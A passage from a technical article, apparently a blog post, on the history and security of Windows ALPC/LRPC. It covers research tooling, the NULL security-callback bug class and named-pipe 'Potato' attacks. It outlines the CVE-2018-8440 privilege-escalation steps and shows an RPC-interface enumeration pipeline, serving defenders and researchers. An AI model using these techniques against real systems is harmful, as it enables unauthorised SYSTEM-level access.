MSRPC is involved on some level in nearly every activity that you can take on a Windows system, from logging in to your laptop to opening a file. -- Trail of Bits, *RPC Investigator* announcement, January 2023 [@tob-rpcinv-blog]
&lt;p&gt;To see the fabric in operation, walk one call. An unprivileged user invokes &lt;code&gt;StartServiceW&lt;/code&gt; from the SCM client library inside &lt;code&gt;sechost.dll&lt;/code&gt;. The library binds to the SCM&apos;s local RPC endpoint -- the &lt;code&gt;\RPC Control\ntsvcs&lt;/code&gt; ALPC port that the Service Control Manager registers at boot. The MIDL-generated client stub packs the service name and arguments into NDR and hands them to &lt;code&gt;NdrClientCall3&lt;/code&gt;. &lt;code&gt;rpcrt4.dll&lt;/code&gt; crosses into the kernel through &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt;. The kernel routes the ALPC message to the SCM&apos;s blocked worker thread inside &lt;code&gt;services.exe&lt;/code&gt;. The worker, running as SYSTEM, unpacks the NDR body with &lt;code&gt;NdrStubCall3&lt;/code&gt; and prepares to dispatch the server-side procedure. Before the procedure runs, the RPC runtime invokes the interface security callback, which checks whether the caller&apos;s token holds &lt;code&gt;SC_MANAGER_CONNECT&lt;/code&gt; and the target service&apos;s DACL grants &lt;code&gt;SERVICE_START&lt;/code&gt;. If the callback returns &lt;code&gt;RPC_S_OK&lt;/code&gt;, the SCM starts the service. The reply -- an NDR-encoded error code -- rides another &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt; back to the client. One user call, five layers crossed, and the kernel never knew it was running an RPC.&lt;/p&gt;
&lt;p&gt;One consequence of the silent kernel rewiring is that pre-Vista NT 4-era code samples appear to work on Windows 11. A textbook example from a 1996 driver-development book that calls &lt;code&gt;NtCreatePort&lt;/code&gt; will link, load, and exchange messages just fine; the messages are travelling over the 2006 ALPC kernel object behind a 1993 syscall name. This is unusual generosity from a kernel team that breaks driver ABIs every few releases, and it is one of the reasons Microsoft has preserved the option not to publish a &lt;code&gt;Nt*Alpc*&lt;/code&gt; developer-facing reference: as long as everyone is supposed to use the RPC runtime, the kernel object can keep evolving.&lt;/p&gt;
&lt;p&gt;Once the transport was universal, enumeration became valuable. If only LSASS used ALPC, listing LSASS&apos;s interfaces by hand was fine. Once every service did, automation was the only tractable methodology. The answer to who built that automation is the next section.&lt;/p&gt;
&lt;h2&gt;6. The Eureka Year -- Public Tooling and the Interface-Callback Class (2017-2019)&lt;/h2&gt;
&lt;p&gt;In an eighteen-month span between October 2017 and December 2019, four researchers turned ALPC from internal NT plumbing into the most-attacked local-IPC surface in modern Windows. The exemplars were structurally identical: an LRPC server registered an RPC interface with a callback that either was NULL or returned &lt;code&gt;RPC_S_OK&lt;/code&gt; for a caller that should have received &lt;code&gt;RPC_S_ACCESS_DENIED&lt;/code&gt;. The kernel ALPC layer behaved correctly in every one of them. The application code did not.&lt;/p&gt;

gantt
    title Public ALPC and LRPC research, October 2017 to December 2019
    dateFormat YYYY-MM
    section Tooling and disclosure
    PacSec -- A view into ALPC-RPC plus CVE-2017-11783       :2017-10, 1M
    SandboxEscaper -- CVE-2018-8440 0-day on GitHub          :2018-08, 1M
    Forshaw -- PPL and COM injection through LRPC            :2018-10, 1M
    Ormandy -- CVE-2019-1162 MSCTF disclosure                :2019-08, 1M
    Forshaw -- Calling local RPC servers from .NET           :2019-12, 1M
&lt;p&gt;The first publication is &lt;strong&gt;Clement Rouault and Thomas Imbert&apos;s &quot;A view into ALPC-RPC&quot;&lt;/strong&gt;, presented at PacSec in November 2017 [@hakril-pacsec] [@slideshare-pacsec] and at Hack.lu the same season [@youtube-hacklu]. The talk is the first end-to-end mechanical walk of the LRPC-over-ALPC stack to appear at a public security conference, and the talk&apos;s deliverable was a working NDR-aware fuzzer named &lt;strong&gt;RPCForge&lt;/strong&gt; [@rpcforge]. RPCForge surfaced &lt;strong&gt;CVE-2017-11783&lt;/strong&gt; [@nvd-cve-2017-11783], the first publicly-acknowledged ALPC elevation-of-privilege issue surfaced by an outside-Microsoft fuzzer. The NVD entry phrases the bug class as &quot;the way it handles calls to Advanced Local Procedure Call (ALPC)&quot; -- the canonical &quot;ALPC EoP&quot; classification that NVD reuses for every later instance.&lt;/p&gt;
&lt;p&gt;The second is &lt;strong&gt;James Forshaw&apos;s &lt;code&gt;NtObjectManager&lt;/code&gt; tooling&lt;/strong&gt;, distributed through the &lt;code&gt;sandbox-attacksurface-analysis-tools&lt;/code&gt; repository at Google Project Zero [@forshaw-saatools]. The tooling is a PowerShell module backed by a .NET library originally called &lt;code&gt;NtApiDotNet&lt;/code&gt; and renamed to &lt;code&gt;NtCoreLib&lt;/code&gt; in 2024. Forshaw introduced the design intent in a December 17, 2019 Project Zero post titled &lt;em&gt;Calling Local Windows RPC Servers from .NET&lt;/em&gt; [@forshaw-rpc-2019], opening with what amounts to a personal manifesto: &lt;em&gt;&quot;As much as I enjoy finding security vulnerabilities in Windows, in many ways I prefer the challenge of writing the tools to make it easier for me and others to do the hunting.&quot;&lt;/em&gt; The post named a gap in his own methodology -- &lt;em&gt;&quot;one of my big blind spots was anything which directly interacted with a Local RPC server&quot;&lt;/em&gt; -- and introduced &lt;code&gt;Get-RpcServer&lt;/code&gt;, &lt;code&gt;Get-NtAlpcServer&lt;/code&gt;, and &lt;code&gt;New-RpcClient&lt;/code&gt; as the cmdlets that closed it.&lt;/p&gt;

As much as I enjoy finding security vulnerabilities in Windows, in many ways I prefer the challenge of writing the tools to make it easier for me and others to do the hunting. -- James Forshaw, *Calling Local Windows RPC Servers from .NET*, Project Zero, December 17, 2019 [@forshaw-rpc-2019]
&lt;p&gt;The conceptual workflow Forshaw&apos;s tooling enables is short enough to fit on one screen. Enumerate every DLL on the system that contains RPC interface metadata. Parse the metadata to recover the IDL-equivalent description of each interface -- the UUID, the version, the procedures, the parameter types. Filter to the ones bound to a local-only protocol sequence. The result is an inventory of &quot;every local RPC procedure callable on this Windows install.&quot; Diff the inventory across a Patch Tuesday and the changes -- new procedures, retired procedures, changed security descriptors -- become a research backlog.&lt;/p&gt;
&lt;p&gt;{`
// PowerShell equivalent (run inside an elevated session with NtObjectManager installed):
//   Install-Module NtObjectManager
//   Get-RpcServer -DbgHelpPath &apos;C:\\Program Files\\Debugging Tools for Windows\\dbghelp.dll&apos; |
//     Where-Object { $&lt;em&gt;.Endpoints.ProtocolSequence -eq &apos;ncalrpc&apos; } |
//     Select-Object Name, InterfaceId, @{N=&apos;ProcCount&apos;;E={$&lt;/em&gt;.Procedures.Count}}&lt;/p&gt;
&lt;p&gt;// The runnable below mirrors the same logic in plain JS so the in-browser engine can execute it.
const interfaces = [
  { name: &apos;AppInfo&apos;,        interfaceId: &apos;201ef99a-7fa0-444c-9399-19ba84f12a1a&apos;, protocolSequence: &apos;ncalrpc&apos;, procedures: 12 },
  { name: &apos;schrpc&apos;,         interfaceId: &apos;86d35949-83c9-4044-b424-db363231fd0c&apos;, protocolSequence: &apos;ncalrpc&apos;, procedures: 27 },
  { name: &apos;spoolss&apos;,        interfaceId: &apos;12345678-1234-abcd-ef00-0123456789ab&apos;, protocolSequence: &apos;ncacn_np&apos;, procedures: 96 },
  { name: &apos;lsarpc-local&apos;,   interfaceId: &apos;12345778-1234-abcd-ef00-0123456789ab&apos;, protocolSequence: &apos;ncalrpc&apos;, procedures: 81 },
  { name: &apos;epmapper&apos;,       interfaceId: &apos;e1af8308-5d1f-11c9-91a4-08002b14a0fa&apos;, protocolSequence: &apos;ncalrpc&apos;, procedures: 5  },
];&lt;/p&gt;
&lt;p&gt;const local = interfaces
  .filter(i =&amp;gt; i.protocolSequence === &apos;ncalrpc&apos;)
  .map(i =&amp;gt; ({ name: i.name, interfaceId: i.interfaceId, procCount: i.procedures }));&lt;/p&gt;
&lt;p&gt;console.log(&apos;Local RPC interfaces (ncalrpc only):&apos;);
local.forEach(i =&amp;gt; console.log(`  ${i.name.padEnd(16)} ${i.interfaceId}  procs=${i.procCount}`));
console.log(`Total: ${local.length}`);
`}&lt;/p&gt;
&lt;p&gt;The third publication is &lt;strong&gt;SandboxEscaper&apos;s CVE-2018-8440&lt;/strong&gt; [@nvd-cve-2018-8440], dropped as a 0-day on GitHub on August 27, 2018, and triaged by CERT/CC as VU#906424 on August 28 with the note that the vulnerability was &quot;being exploited in the wild&quot; [@cert-vu906424]. The 0patch team published a micropatch within days and walked the bug specifics [@0patch-micropatch]. The structural shape of the bug is canonical and is worth tracing carefully.&lt;/p&gt;

sequenceDiagram
    participant Att as Unprivileged attacker process
    participant Sch as Task Scheduler ALPC port \RPC Control\atsvc
    participant Srv as schedsvc.dll worker thread (SYSTEM)
    participant FS as Target file -- C:\WINDOWS\System32\example.dll
    Att-&amp;gt;&amp;gt;Sch: NtAlpcConnectPort plus LRPC SchRpcSetSecurity request
    Sch-&amp;gt;&amp;gt;Srv: dispatch -- IfCallbackFn is NULL, no security callback runs
    Srv-&amp;gt;&amp;gt;FS: SetSecurityInfo as SYSTEM, grant Everyone:F to attacker-chosen path
    Srv-&amp;gt;&amp;gt;Att: RPC_S_OK
    Att-&amp;gt;&amp;gt;FS: overwrite the now-writable file
    Note over Att,FS: next call into the modified binary executes attacker code as SYSTEM
&lt;p&gt;The Task Scheduler service exposes an LRPC interface containing a procedure named &lt;code&gt;SchRpcSetSecurity&lt;/code&gt;, registered through &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; with &lt;code&gt;IfCallbackFn&lt;/code&gt; set to NULL. NULL has a specific meaning, documented verbatim on Microsoft Learn: &lt;em&gt;&quot;IfCallbackFn: Security-callback function, or NULL for no callback&quot;&lt;/em&gt; [@msdocs-rpcregisterif2]. No callback means the RPC runtime dispatches the call without asking the application whether the caller should be allowed.&lt;/p&gt;
&lt;p&gt;Once dispatched, &lt;code&gt;SchRpcSetSecurity&lt;/code&gt; running in the SYSTEM-context Task Scheduler worker thread set a permissive DACL on a file the attacker specified. The attacker chose a file the attacker did not have write access to. The SYSTEM-context service made it writable. The attacker then wrote attacker-controlled bytes into the file, triggered execution, and inherited SYSTEM.&lt;/p&gt;
&lt;p&gt;The 0patch micropatch writeup named the structural pattern as &quot;the Task Scheduler fails to impersonate the requesting client&quot; [@0patch-micropatch] -- which is to say, the service did the operation in its own privileged identity instead of the caller&apos;s. CERT/CC framed the same bug in transport terms: a vulnerability &quot;in the handling of ALPC&quot; that lets an authenticated user overwrite an arbitrary file [@cert-vu906424].&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A NULL &lt;code&gt;IfCallbackFn&lt;/code&gt; is the canonical elevation-of-privilege-by-default bug shape. Microsoft Learn documents it as a legal value [@msdocs-rpcregisterif2], and the runtime accepts it without warning. Every notable LRPC EoP since 2017 either left the callback NULL or registered a callback whose body said the wrong thing. Defenders auditing in-house LRPC services should treat any &lt;code&gt;RpcServerRegisterIf2(..., NULL)&lt;/code&gt; in production code as a finding.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The fourth is &lt;strong&gt;Tavis Ormandy&apos;s CVE-2019-1162&lt;/strong&gt; [@nvd-cve-2019-1162], disclosed in the August 13, 2019 Project Zero post &lt;em&gt;Down the Rabbit-Hole...&lt;/em&gt; [@ormandy-ctf-2019]. The bug class Ormandy named is the structural exemplar of &quot;shared system ALPC ports that ignore caller integrity.&quot; The Microsoft Text Services Framework (MSCTF) shipped a global ALPC port -- present since Windows XP in 2001 -- that any process on the desktop could open regardless of integrity level. The CTF subsystem trusted clients to identify themselves correctly in the messages they sent; the protocol had no integrity-level check or AppContainer enforcement. A low-integrity browser process could send messages that impersonated a high-integrity privileged process, and the CTF service would honour them. The fix narrowed the specific instance and left the general class of &quot;shared ALPC ports without caller-integrity enforcement&quot; open.&lt;/p&gt;
&lt;p&gt;A partially-overlapping fifth example -- the same interface-callback class expressed through DCOM activation rather than direct LRPC -- is &lt;strong&gt;Forshaw&apos;s October 18, 2018 Project Zero post&lt;/strong&gt; &lt;em&gt;Injecting Code into Windows Protected Processes using COM&lt;/em&gt; [@forshaw-com-ppl-2018]. The post documented a class of &lt;a href=&quot;https://paragmali.com/blog/protected-process-light-when-the-administrator-isnt-enough/&quot; rel=&quot;noopener&quot;&gt;Protected Process Light&lt;/a&gt; (PPL) bypass in which a DCOM activator marshalled an impersonated client token into a privileged COM server, and the server&apos;s interface callback trusted the marshalled identity too early in the dispatch flow. The kernel ALPC layer is doing exactly what the spec says; the bug is in the user-mode interface code that interprets the message.&lt;/p&gt;

Before `NtObjectManager`, a researcher looking at an LRPC service had to disassemble the service&apos;s DLL by hand, locate the calls to `RpcServerRegisterIf2`, read out the interface UUID and procedure-table pointer, parse the MIDL-generated stub manually, and assemble enough information to send a single well-formed call. After `NtObjectManager`, the same workflow was a one-line PowerShell pipeline. The methodology change cascaded into the Patch-Tuesday cycle. Differential analysis on the RPC interface inventory across a single Patch Tuesday became a research workflow that a small team could run in a single afternoon. Forshaw&apos;s December 2019 post named it explicitly: he wrote the tools because the tools were the bottleneck.

The application-supplied function whose pointer is passed as the `IfCallbackFn` argument to `RpcServerRegisterIf2` [@msdocs-rpcregisterif2] or `RpcServerRegisterIf3` [@msdocs-rpcregisterif3]. The RPC runtime invokes the callback after the port-level access check passes and before the call is dispatched to the IDL-named procedure. The callback inspects the binding handle, the calling user&apos;s token, the integrity level, and any other attribute the application chooses to consult. The callback returns `RPC_S_OK` to permit the call or any other status code to reject it. A NULL callback pointer is documented as a legal value and means &quot;permit every call that reaches the runtime.&quot;

The wire format that LRPC payloads marshal through. NDR is the original 32-bit Network Data Representation transfer syntax used by DCE/RPC; NDR64 is the 64-bit extension Microsoft introduced for 64-bit Windows [@msdocs-ndr64]. Local LRPC and remote MSRPC use the same transfer syntax; the only difference is that local calls travel inside an ALPC `PORT_MESSAGE` body rather than over a TCP or named-pipe transport.
&lt;p&gt;By the end of 2019, the inventory was visible, the bug class had been named, and four worked exemplars had been published. The mechanism underneath -- what an interface-registration callback actually is, why the OS cannot enforce its correctness -- is what the next section unpacks.&lt;/p&gt;
&lt;p&gt;The deeper realisation is that none of these are kernel bugs. The kernel ALPC layer behaved correctly in every one; the bugs live in the user-mode interface-callback layer that Section 7 walks next.&lt;/p&gt;
&lt;h2&gt;7. The LRPC Overlay -- Interface Registration and the Asymmetry the OS Cannot Fix&lt;/h2&gt;
&lt;p&gt;Look at the signature of &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt;. The seventh parameter is named &lt;code&gt;IfCallbackFn&lt;/code&gt;. Microsoft&apos;s own reference page documents that NULL is a legal value, and that NULL means &quot;no callback&quot; [@msdocs-rpcregisterif2]. That parameter is the asymmetry the rest of this section is about.&lt;/p&gt;
&lt;p&gt;A canonical server-side LRPC startup sequence looks like this. The service compiles an IDL file with MIDL; MIDL emits an &lt;code&gt;RPC_SERVER_INTERFACE&lt;/code&gt; structure that pins down the interface&apos;s UUID, version, and procedure table. The service calls &lt;code&gt;RpcServerUseProtseqEp&lt;/code&gt; with the protocol sequence &lt;code&gt;&quot;ncalrpc&quot;&lt;/code&gt;, an endpoint name, and a security descriptor; that call asks the kernel, by way of the RPC runtime, to create an ALPC connection port at the requested name under &lt;code&gt;\RPC Control&lt;/code&gt;. The service calls &lt;code&gt;RpcServerRegisterIf2&lt;/code&gt; or, since Windows 8, &lt;code&gt;RpcServerRegisterIf3&lt;/code&gt; [@msdocs-rpcregisterif3]. The newer call additionally accepts a per-interface security descriptor that the runtime enforces before consulting the callback. Both calls store the IDL spec, the interface-registration flags, and the per-interface security callback. Finally the service calls &lt;code&gt;RpcServerListen&lt;/code&gt;, and worker threads in the RPC runtime block inside &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Per call, the dispatch sequence is: accept the inbound ALPC connection, read the NDR-encoded request from the message body, invoke the registered security callback (if any), dispatch to the MIDL-generated server stub, and marshal the reply back.&lt;/p&gt;

sequenceDiagram
    participant Client as Client stub (rpcrt4.dll, user mode)
    participant Kernel as Kernel ALPC dispatcher
    participant Worker as Server worker thread (rpcrt4.dll, user mode)
    participant Cb as Interface security callback (application code)
    participant Stub as MIDL-generated server stub (application code)
    Client-&amp;gt;&amp;gt;Kernel: NtAlpcSendWaitReceivePort (REQUEST with NDR body)
    Kernel-&amp;gt;&amp;gt;Worker: deliver message to blocked worker
    Worker-&amp;gt;&amp;gt;Cb: invoke IfCallbackFn (if registered)
    Cb-&amp;gt;&amp;gt;Worker: return RPC_S_OK or RPC_S_ACCESS_DENIED
    Worker-&amp;gt;&amp;gt;Stub: dispatch to MIDL procedure (if callback returned OK)
    Stub-&amp;gt;&amp;gt;Worker: result returned through NDR encoder
    Worker-&amp;gt;&amp;gt;Kernel: NtAlpcSendWaitReceivePort (REPLY)
    Kernel-&amp;gt;&amp;gt;Client: deliver reply
&lt;p&gt;The kernel&apos;s job ends at &quot;deliver the message to a worker thread.&quot; Everything after that is application code. The RPC runtime is a DLL that the service loads into its own address space, and the runtime&apos;s notion of authorization is whatever the callback returns. If the callback returns &lt;code&gt;RPC_S_OK&lt;/code&gt;, the call proceeds. If the callback is NULL, the call proceeds without ever asking the application. The kernel has no notion of &quot;this call requires &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;&quot; or &quot;this call requires the caller to be in the local Administrators group&quot;, because those notions are policy choices the application makes, not properties of the IPC primitive.&lt;/p&gt;

The RPC service-discovery primitive at the well-known ALPC port `\RPC Control\epmapper`. An LRPC client that knows the interface UUID it wants to call -- but not which endpoint name a particular service is listening on -- calls into the endpoint mapper, hands over the UUID, and gets back the endpoint name. The mapper is itself an LRPC service; it bootstraps the rest. `rpcss` (the DCOM activator service) hosts the endpoint mapper on every Windows install.

The Microsoft dialect of OSF DCE IDL used to declare RPC interfaces. An `.idl` file pins down the interface UUID, version, methods, and parameter types; the MIDL compiler produces three artifacts: a header for both client and server, a client-side stub that marshals call arguments into NDR, and a server-side stub that unmarshals NDR back into call arguments and dispatches to the application&apos;s implementation.
&lt;p&gt;The interface-registration flag inventory tells the same story from a different angle. Microsoft Learn enumerates the flags on a single reference page [@msdocs-ifflags]; the four that matter for this section are quoted verbatim from that page.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Flag&lt;/th&gt;
&lt;th&gt;What Microsoft says it does&lt;/th&gt;
&lt;th&gt;What it closes&lt;/th&gt;
&lt;th&gt;What it leaves open&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&quot;the RPC runtime invokes the registered security callback for all calls, regardless of identity, protocol sequence, or authentication level of the client&quot;&lt;/td&gt;
&lt;td&gt;Forces the callback to run even for unauthenticated calls&lt;/td&gt;
&lt;td&gt;The correctness of the callback&apos;s return value&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPC_IF_ALLOW_SECURE_ONLY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rejects callers that did not authenticate at the runtime&apos;s minimum authentication level&lt;/td&gt;
&lt;td&gt;Unauthenticated callers&lt;/td&gt;
&lt;td&gt;Authenticated-but-unauthorized callers; Microsoft notes verbatim that &quot;Using the RPC_IF_ALLOW_SECURE_ONLY flag does not imply or guarantee a high level of privilege on the part of the calling user&quot; [@msdocs-ifflags]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPC_IF_SEC_NO_CACHE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&quot;Disables security callback caching, forcing a security callback for each RPC call on a given interface&quot;&lt;/td&gt;
&lt;td&gt;Stale cached approval after a token-state change&lt;/td&gt;
&lt;td&gt;The correctness of the callback&apos;s body&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RPC_IF_ALLOW_LOCAL_ONLY&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;rejects remote callers at the runtime layer&lt;/td&gt;
&lt;td&gt;Cross-machine reachability&lt;/td&gt;
&lt;td&gt;Local elevation primitives&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The table is the argument. Every flag closes a specific known-bad pattern. No flag changes the fact that the per-interface authorization decision is application code. The runtime can be configured to &lt;em&gt;force the callback to run&lt;/em&gt;. It cannot be configured to &lt;em&gt;make the callback return the right answer&lt;/em&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Port-level security is kernel infrastructure. Interface-level security is application code. The kernel can enforce the first; it cannot enforce the second. Everything in the rest of this article follows from that asymmetry.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Microsoft Learn&apos;s verbatim note on &lt;code&gt;IfCallbackFn&lt;/code&gt; reads: &lt;em&gt;&quot;Security-callback function, or NULL for no callback. Each registered interface can have a different callback function.&quot;&lt;/em&gt; [@msdocs-rpcregisterif2] A NULL callback means &quot;anyone who can open the connection port can call any procedure on this interface.&quot; Many in-house services interpret the parameter as if NULL meant &quot;default deny.&quot; It does not. NULL is a default &lt;em&gt;allow&lt;/em&gt;, gated only by the port DACL. The CVE-2018-8440 SchRpcSetSecurity disclosure [@cert-vu906424] [@0patch-micropatch] is the canonical example of what that interpretation costs.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;RpcServerRegisterIf3&lt;/code&gt;, introduced in Windows 8 [@msdocs-rpcregisterif3], partially mitigates the structural concern by adding a per-interface security descriptor argument the runtime checks before the callback runs. Microsoft Learn documents the order: &lt;em&gt;&quot;If both SecurityDescriptor and IfCallbackFn are specified, the security descriptor in SecurityDescriptor will be checked first and the callback in IfCallbackFn will be called after the access check against the security descriptor passes.&quot;&lt;/em&gt; The &lt;code&gt;If3&lt;/code&gt; API also bakes in an &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; default-deny: in the absence of an explicit security descriptor, the runtime refuses calls from AppContainer processes. These are real defences. They do not change the underlying property that the per-call authorization decision -- the one that says &quot;this caller is allowed to invoke this procedure with these arguments&quot; -- is delegated to an application function the kernel cannot inspect.&lt;/p&gt;
&lt;p&gt;The kernel-vs-application boundary inside &lt;code&gt;rpcrt4.dll&lt;/code&gt; is unusual and easy to miss. The same DLL contains both the user-mode side of the kernel ALPC syscall surface (the thin wrappers around &lt;code&gt;NtAlpcSendWaitReceivePort&lt;/code&gt; that the runtime threads call) and the interface dispatch loop that ends in the application callback. Both halves run inside the service process; both halves are user-mode code from the kernel&apos;s point of view. The kernel does not know which RPC interface a given ALPC message is going to dispatch to. It just hands the message to a worker thread and forgets.&lt;/p&gt;
&lt;p&gt;The endpoint-mapper bootstrap path is the other piece of the LRPC overlay worth naming. A client that knows the interface UUID it wants to talk to -- say, the AppInfo interface UUID for UAC -- but does not know which endpoint name &lt;code&gt;appinfo&lt;/code&gt; happens to be listening on, opens the well-known ALPC port &lt;code&gt;\RPC Control\epmapper&lt;/code&gt;, sends a query containing the UUID, and gets back the endpoint name. The endpoint mapper is itself an LRPC service running inside &lt;code&gt;rpcss&lt;/code&gt;. It bootstraps the rest of the local-IPC fabric.&lt;/p&gt;
&lt;p&gt;NDR and NDR64 are the wire format. &lt;code&gt;NdrClientCall3&lt;/code&gt; on the client side packs the call arguments into the NDR representation Microsoft documents on Learn [@msdocs-ndr64]; the bytes ride inside an ALPC &lt;code&gt;PORT_MESSAGE&lt;/code&gt; body to the server; &lt;code&gt;NdrStubCall3&lt;/code&gt; on the server side unpacks them. The same NDR format that travels over a TCP socket for cross-machine MSRPC travels through an ALPC port for local LRPC. The transport is the only thing that differs.&lt;/p&gt;

The intuitive question -- &quot;if the callback is the problem, why doesn&apos;t the kernel just check it?&quot; -- bumps into two impossibility results. First, the callback is a function pointer into application code. The kernel cannot symbolically execute the function to determine whether its return value is correct; that is a halting-problem-shaped task in the general case. Second, even if the kernel could execute the function, the kernel does not know what &quot;correct&quot; means for an arbitrary application&apos;s authorization policy. &quot;Correct&quot; is the application&apos;s specification of who should be allowed to call what, and the application is the only party that has that specification. Closing the gap requires either a new ABI in which the application declares its authorization policy in a language the OS can validate, or a runtime sandbox that confines what the callback can do. Neither has been proposed as a stable Microsoft direction in any public artefact.
&lt;p&gt;The structural punchline is that the RPC runtime is application code -- the callback runs in user mode in the server&apos;s address space, the runtime trusts whatever the callback returns, and the OS cannot validate the callback&apos;s body. The CVE-2019-1162 MSCTF disclosure [@ormandy-ctf-2019] and the local-COM-over-LRPC PPL-bypass class [@forshaw-com-ppl-2018] are &lt;em&gt;both&lt;/em&gt; structural instances of this asymmetry; no kernel change could have prevented them.&lt;/p&gt;
&lt;p&gt;That asymmetry is the engine. Almost every CVE on the Patch-Tuesday treadmill since 2018 -- the Task Scheduler ACL bug, the CTF subsystem disclosure, the PPL-COM bypasses, the Potato-family activations -- is structurally the same shape. Some are LRPC bugs. Some are not. The next section explains which is which.&lt;/p&gt;
&lt;h2&gt;8. Competing Approaches -- Named Pipes, COM, Filter Ports, and the Potato Disambiguation&lt;/h2&gt;
&lt;p&gt;Roughly half the time a defender reads &quot;Potato&quot; in a CVE writeup, the underlying primitive is not ALPC. The other half of the time, it is. Knowing which is which is the single most-cited reason defenders mis-classify privilege-escalation attacks. The disambiguation matters because the mitigations differ: an LRPC-on-ALPC Potato is closed (or worsened) by RPC interface-flag changes; a named-pipe Potato is closed (or worsened) by &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; policy.&lt;/p&gt;
&lt;p&gt;Before the Potato classification, four local-IPC primitives sit alongside LRPC-on-ALPC and deserve a brief tour.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Named pipes&lt;/strong&gt; [@msdocs-protseq] [@msdocs-impnp] [@csandker-np] are the first-class alternative that works both locally &lt;em&gt;and&lt;/em&gt; across machines over SMB. The Windows RPC runtime supports a &lt;code&gt;ncacn_np&lt;/code&gt; (Network Computing Architecture, Connection-oriented, Named Pipe) protocol sequence that lets an RPC interface be reached either through &lt;code&gt;\\.\pipe\name&lt;/code&gt; locally or through an SMB tree-connect remotely. The load-bearing security primitive for the named-pipe-Potato class is &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; [@msdocs-impnp], a Win32 API that lets the server end of a named pipe impersonate the client process; the API requires the caller to hold &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt;. The privilege is granted by default to LocalSystem, LocalService, NetworkService, and to processes that hold the privilege in their token through policy. The named-pipe-Potato attack pattern is &quot;a service running with &lt;code&gt;SeImpersonatePrivilege&lt;/code&gt; is tricked into connecting to a named pipe the attacker controls, and the attacker calls &lt;code&gt;ImpersonateNamedPipeClient&lt;/code&gt; to inherit the service&apos;s token.&quot;&lt;/p&gt;

The Windows user-right that permits a thread to impersonate another security principal -- specifically by calling APIs such as `ImpersonateNamedPipeClient` [@msdocs-impnp] or `ImpersonateLoggedOnUser`. The privilege is granted by default to `LocalSystem`, `NetworkService`, `LocalService`, and processes started by the Service Control Manager. As Clement Labro summarised the practical implication: *&quot;if you have SeAssignPrimaryToken or SeImpersonate privilege, you are SYSTEM&quot;* [@itm4n-printspoofer], because every interactive way to use either privilege ends in a SYSTEM token under the right circumstances. The named-pipe-Potato family exploits exactly this fact.

The DCOM lookup primitive that translates an object exporter identifier (OXID) to a string binding (a protocol sequence plus an endpoint) where the corresponding COM server is listening. By default the OXID resolver runs in `rpcss` on TCP port 135. RoguePotato [@roguepotato-blog] [@roguepotato-repo] -- the post-Windows-10-1809 evolution of the Potato family -- redirects an outbound OXID-resolver query to an attacker-controlled host, which lets the attacker substitute an arbitrary endpoint and, through that, an arbitrary impersonation token.
&lt;p&gt;&lt;strong&gt;Shared sections plus events&lt;/strong&gt; is the lowest-level local-IPC pattern. Two processes call &lt;code&gt;NtCreateSection&lt;/code&gt; to back the same shared memory, then synchronise with kernel events or semaphores. There is no framing, no caller-identity primitive, and no message boundary. The pattern is used in performance-sensitive contexts such as browser sandboxes and DirectX swapchain handoff; it is not a competitor with LRPC-on-ALPC for general request-reply use cases.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;COM local activation&lt;/strong&gt; [@forshaw-com-ppl-2018] [@roguepotato-blog] is not a competitor. It is a higher-level overlay. The DCOM activation service (&lt;code&gt;rpcss&lt;/code&gt;) takes a CoCreateInstance-style activation request and, for local activations, marshals into LRPC under the hood. This is why DCOM-activation attacks are &lt;em&gt;also&lt;/em&gt; LRPC attacks: the trigger transport is DCOM, but the impersonation primitive ends up being the LRPC &lt;code&gt;RpcImpersonateClient&lt;/code&gt; machinery that runs inside the activated server.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Filter Communication Ports&lt;/strong&gt; [@msdocs-minifilter-replacement] [@msdocs-fltsendmessage] are the minifilter-specific IPC channel for talking between a kernel-mode file-system filter driver and a user-mode service. A minifilter calls &lt;code&gt;FltCreateCommunicationPort&lt;/code&gt; to set up the server side; a user-mode application calls &lt;code&gt;FilterConnectCommunicationPort&lt;/code&gt; to attach to it; the kernel-side &lt;code&gt;FltSendMessage&lt;/code&gt; and the user-side &lt;code&gt;FilterReplyMessage&lt;/code&gt; carry payloads in either direction. Filter Communication Ports are a separate primitive from ALPC and live in their own namespace; the only reason to mention them in this section is that defenders sometimes conflate &quot;any named local IPC endpoint&quot; with ALPC, and they should not.&lt;/p&gt;
